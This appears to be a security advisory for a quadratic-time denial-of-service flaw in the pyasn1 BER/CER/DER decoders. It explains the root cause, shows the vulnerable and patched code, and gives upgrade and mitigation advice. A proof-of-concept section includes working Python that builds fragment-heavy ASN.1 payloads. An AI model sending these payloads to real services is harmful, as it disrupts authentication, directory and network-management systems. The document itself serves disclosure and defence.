CVE-2026-119195: Quadratic-Time Denial of Service in pyasn1 BER/CER/DER Decoders

Abstract Syntax Notation One (ASN.1) is a standard interface description language for defining data structures that can be serialized and deserialized across platforms. In the Python ecosystem, pyasn1 serves as a foundational library for parsing ASN.1 data streams encoded under Basic Encoding Rules (BER), Canonical Encoding Rules (CER), and Distinguished Encoding Rules (DER). It is widely integrated into higher-level libraries that handle X.509 Public Key Infrastructure (PKI) certificates, Lightweight Directory Access Protocol (LDAP) messages, Simple Network Management Protocol (SNMP) packets, and cryptographic token formats.

In pyasn1 versions prior to 0.6.5, the decoding routines responsible for reassembling fragmented ASN.1 values contain an algorithmic complexity flaw classified under CWE-407 (Inefficient Algorithmic Complexity). Specifically, the OctetStringPayloadDecoder and AnyPayloadDecoder classes in pyasn1/codec/ber/decoder.py reassemble multi-part payloads by iteratively concatenating each parsed chunk onto an accumulating bytes variable using the += operator.

Because the bytes type in Python is immutable, repeated concatenation inside a loop cannot expand the existing memory buffer in-place unless specific reference-count optimizations apply—which fail when references are held or wrapped across object boundaries in pyasn1. Consequently, decoding an ASN.1 structure composed of $N$ small fragments requires $O(N^2)$ memory allocation and byte-copying operations.

When a network service uses pyasn1 to parse untrusted ASN.1 input, an unauthenticated remote attacker can submit a compact payload consisting of thousands of minimal 1-byte or 2-byte fragments. Processing this input forces the Python interpreter to spend excessive CPU time allocating and copying intermediate buffers, starving worker threads and causing a denial of service.

Under the ITU-T X.690 standard for ASN.1 encoding rules, data types such as OCTET STRING and character strings (e.g., UTF8String, IA5String) can be transmitted in either a primitive form (a single contiguous Tag-Length-Value block) or a constructed form (a parent TLV containing a sequence of nested child TLVs). Additionally, BER and CER encodings allow indefinite-length encodings, where the outer length field is marked as 0x80 and the stream of inner fragments continues until an explicit End-of-Octets (0x00 0x00) marker is encountered.

In pyasn1/codec/ber/decoder.py, two core decoder classes handle the reassembly of these multi-fragment structures: OctetStringPayloadDecoder (which handles both OCTET STRING and character string types that inherit from it) and AnyPayloadDecoder (which handles untyped or schema-deferred univ.Any fields). Both classes implement a valueDecoder method for definite-length streams and an indefLenValueDecoder method for indefinite-length streams.

Prior to version 0.6.5, OctetStringPayloadDecoder initialized an empty byte string (header = b'') before entering its fragment decoding loop. For each nested component yielded by decodeFun(), the decoder executed header += component. Similarly, AnyPayloadDecoder.indefLenValueDecoder initialized chunk and executed chunk += component on every iteration until reaching eoo.endOfOctets.

In CPython, component is yielded as an ASN.1 object (such as an OctetString instance) rather than a raw bytes object, or is referenced across generator yields. When header += component is evaluated, Python must allocate a brand-new heap buffer of size $\text{len}(header) + \text{len}(component)$, copy the entirety of header into the new allocation, append the bytes of component, and deallocate the previous buffer. Across $N$ fragments of size $S$, the total number of bytes copied is:

$$\text{Bytes Copied} = \sum_{i=1}^{N} (i \cdot S) = S \cdot \frac{N(N+1)}{2} = \mathcal{O}(N^2)$$

While DER formally mandates primitive encoding for strings and forbids indefinite lengths, pyasn1's DER decoder inherits directly from the BER/CER decoder hierarchy. Prior to the patch (and as noted in the advisory), the DER decoder rejected constructed OCTET STRING payloads only when operating without a schema; if the caller supplied asn1Spec=univ.OctetString(), the definite-length constructed path remained reachable. Furthermore, constructed character strings (such as UTF8String) were accepted in DER mode even without a schema, exposing DER-based applications to the same quadratic complexity.

The vulnerability was remediated in commit 4ce00797c594b59c1fd6b86d9ebc3ba87b7ec9f9 (Pull Request #132). The patch modifies three distinct methods in pyasn1/codec/ber/decoder.py: OctetStringPayloadDecoder.valueDecoder, OctetStringPayloadDecoder.indefLenValueDecoder, and AnyPayloadDecoder.indefLenValueDecoder.

Vulnerable Implementation (Before Patch)

In the unpatched code, OctetStringPayloadDecoder passed substrateFun=self.substrateCollector into the recursive decodeFun call and concatenated each returned fragment directly onto header:

# pyasn1/codec/ber/decoder.py (prior to 0.6.5)
def valueDecoder(self, substrate, asn1Spec,
                 tagSet=None, length=None, state=None,
                 decodeFun=None, substrateFun=None,
                 **options):
    # ...
    # All inner fragments are of the same type, treat them as octet string
    substrateFun = self.substrateCollector
 
    header = b''
 
    original_position = substrate.tell()
    while substrate.tell() - original_position < length:
        for component in decodeFun(
                substrate, self.protoComponent, substrateFun=substrateFun,
                **options):
            if isinstance(component, SubstrateUnderrunError):
                yield component
 
        # VULNERABLE: Repeatedly allocates and copies growing bytes buffer
        header += component
 
    yield self._createComponent(asn1Spec, tagSet, header, **options)

The exact same pattern appeared in OctetStringPayloadDecoder.indefLenValueDecoder and AnyPayloadDecoder.indefLenValueDecoder:

# AnyPayloadDecoder.indefLenValueDecoder (prior to 0.6.5)
while True:  # loop over fragments
    for component in decodeFun(
            substrate, asn1Spec, substrateFun=substrateFun,
            allowEoo=True, **options):
        if isinstance(component, SubstrateUnderrunError):
            yield component
 
    if component is eoo.endOfOctets:
        break
 
    # VULNERABLE: Quadratic buffer growth on indefinite-length ANY chunks
    chunk += component

Patched Implementation (Version 0.6.5)

Commit 4ce00797c594b59c1fd6b86d9ebc3ba87b7ec9f9 replaces the growing bytes buffer with a Python list (fragments = []). Each decoded fragment is converted to bytes and appended to the list in amortized $O(1)$ time. After the loop terminates, b''.join(fragments) computes the total required byte length in a single pass, performs a single memory allocation, and copies each fragment once:

# pyasn1/codec/ber/decoder.py (patched in 0.6.5)
def valueDecoder(self, substrate, asn1Spec,
                 tagSet=None, length=None, state=None,
                 decodeFun=None, substrateFun=None,
                 **options):
    # ...
    # Assemble the logical value of each fragment, including nested ones.
    fragments = []
 
    original_position = substrate.tell()
    while substrate.tell() - original_position < length:
        for component in decodeFun(
                substrate, self.protoComponent, **options):
            if isinstance(component, SubstrateUnderrunError):
                yield component
 
        # FIXED: Amortized O(1) list append
        fragments.append(bytes(component))
 
    # FIXED: Single O(N) allocation and copy via b''.join()
    yield self._createComponent(asn1Spec, tagSet, b''.join(fragments), **options)

Notice also that the patch removes substrateFun=self.substrateCollector from the inner decodeFun call in OctetStringPayloadDecoder. Previously, substrateCollector extracted raw substrate slices, which did not properly recursively decode deeply nested constructed fragments into their logical values. By allowing decodeFun to decode each inner self.protoComponent and converting the result via bytes(component), the fix ensures both correct logical assembly and $O(N)$ linear time complexity.

In AnyPayloadDecoder.indefLenValueDecoder, fragments is initialized as fragments = [chunk], each component is appended via fragments.append(component), and chunk = b''.join(fragments) is executed once after the eoo.endOfOctets check breaks the loop.

> [!NOTE] > Fix Completeness Assessment: The patch completely eliminates the quadratic byte concatenation bottleneck across all three affected methods in pyasn1/codec/ber/decoder.py. However, applications decoding untrusted BER/CER streams should remain aware that deeply nested constructed encodings (as opposed to flat sequential fragments) are bounded by Python's recursion limit or pyasn1's internal nesting depth checks.

Exploiting CVE-2026-119195 does not require authentication, memory corruption primitives, or knowledge of the target host's memory layout. An attacker only needs network access to an endpoint that passes attacker-controlled bytes into pyasn1.codec.ber.decoder.decode, pyasn1.codec.cer.decoder.decode, or pyasn1.codec.der.decoder.decode.

Attack Methodology

To maximize the ratio of CPU time consumed per byte of network traffic, an attacker constructs an ASN.1 payload containing the smallest valid TLV fragments possible. A primitive OCTET STRING containing a single byte of payload requires exactly 3 bytes on the wire:

• Tag: 0x04 (Primitive OCTET STRING)
• Length: 0x01 (1 byte)
• Value: 0x41 ('A')

To wrap $N$ of these 3-byte fragments inside a single constructed OCTET STRING, the attacker prepends a constructed tag (0x24 for constructed OCTET STRING, or 0x2C for constructed UTF8String) followed by either a definite length encoding or the indefinite-length byte 0x80 (terminated by 0x00 0x00).

Proof-of-Concept Construction

The following Python snippet demonstrates how a compact payload of approximately 150 KB ($50,000$ fragments of 3 bytes each) is constructed to trigger quadratic execution time across all three decoders:

from pyasn1.codec.ber import decoder as ber_decoder
from pyasn1.codec.der import decoder as der_decoder
from pyasn1.type import univ
 
# 50,000 fragments of 1-byte primitive OCTET STRINGs (\x04\x01A)
num_fragments = 50000
inner_fragments = b"\x04\x01A" * num_fragments
 
# Path 1: Indefinite-length constructed OCTET STRING (BER/CER)
# Tag 0x24 (Constructed OCTET STRING), Length 0x80 (Indefinite), EOO 0x00 0x00
ber_payload = b"\x24\x80" + inner_fragments + b"\x00\x00"
 
# Path 2: Definite-length constructed UTF8String (Accepted in BER, CER, and unpatched DER without schema)
# Tag 0x2C (Constructed UTF8String), inner fragments use Tag 0x0C (Primitive UTF8String)
utf8_fragments = b"\x0c\x01A" * num_fragments
length_bytes = len(utf8_fragments).to_bytes(3, byteorder="big")
der_utf8_payload = b"\x2c\x83" + length_bytes + utf8_fragments
 
# Path 3: Definite-length constructed OCTET STRING in DER with asn1Spec
der_octet_payload = b"\x24\x83" + length_bytes + inner_fragments
# Triggered via: der_decoder.decode(der_octet_payload, asn1Spec=univ.OctetString())

When num_fragments is set to $50,000$ (a 150 KB payload), the unpatched decoder performs $50,000$ buffer allocations and copies roughly $\frac{50,000 \times 50,001}{2} \approx 1.25 \times 10^9$ bytes (1.25 GB) of data in memory, plus the Python object and garbage collection overhead for $50,000$ intermediate OctetString instances. Increasing the payload size to 1.5 MB ($500,000$ fragments) scales the memory copy workload to $\approx 125$ GB, pinning a CPU core for several seconds to minutes per request.

CVE-2026-119195 carries a CVSS v3.1 base score of 7.5 (High) with the vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H. The vulnerability strictly impacts system Availability (A:H), with no direct impact on Confidentiality (C:N) or Integrity (I:N).

Because Python's Global Interpreter Lock (GIL) serializes bytecode execution within a single OS process, CPU-bound loops in pure-Python libraries like pyasn1 have a pronounced impact on multi-threaded or asynchronous (e.g., asyncio) Python servers. While a worker thread is trapped executing header += component across tens of thousands of iterations, the event loop or thread pool worker cannot yield control effectively to service other concurrent connections.

Downstream applications at risk include:

• Authentication & Identity Services: SAML, Kerberos, or JOSE/JWT/PKI verification endpoints that parse X.509 certificates, CRLs, OCSP responses, or ASN.1-encoded cryptographic keys (pyasn1-modules, joserfc, authlib).
• Directory & Network Management Daemons: Python-based LDAP proxies, SNMP trap receivers (pysnmp), and network automation controllers that ingest BER-encoded protocol data units (PDUs) directly from network sockets.

As of current threat intelligence tracking, CVE-2026-119195 has an EPSS score of 0.00527 (0.53%), placing it at the 44.65th percentile, and is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

The definitive fix for CVE-2026-119195 is to upgrade pyasn1 to version 0.6.5 or later. Version 0.6.5 replaces incremental byte concatenation with list-based accumulation and a single b''.join() call, restoring linear $O(N)$ decoding time.

Upgrading via pip

Update the package in all virtual environments, container images, and dependency lockfiles (requirements.txt, pyproject.toml, Pipfile.lock):

pip install --upgrade "pyasn1>=0.6.5"

For Linux distributions that install pyasn1 via system package managers (such as python3-pyasn1 on Red Hat Enterprise Linux, Fedora, Debian, or Ubuntu), apply the corresponding vendor security update once published.

Defense-in-Depth Mitigations

When immediate patching is not feasible, or as an additional layer of protection against resource exhaustion in ASN.1 parsers, implement the following architectural controls:

1. Enforce Strict Input Size Limits: Configure reverse proxies (e.g., NGINX client_max_body_size), API gateways, or socket readers to reject oversized ASN.1 payloads before passing them to pyasn1. Because quadratic complexity scales with the number of fragments $N$, bounding the total byte length of the input stream directly caps the maximum value of $N$.
2. Isolate Parsing in Time-Bounded Workers: Avoid running untrusted pyasn1 decoding directly on the main asyncio event loop thread. Offload parsing to separate worker processes with strict execution timeouts so hung workers can be terminated without stalling the main application.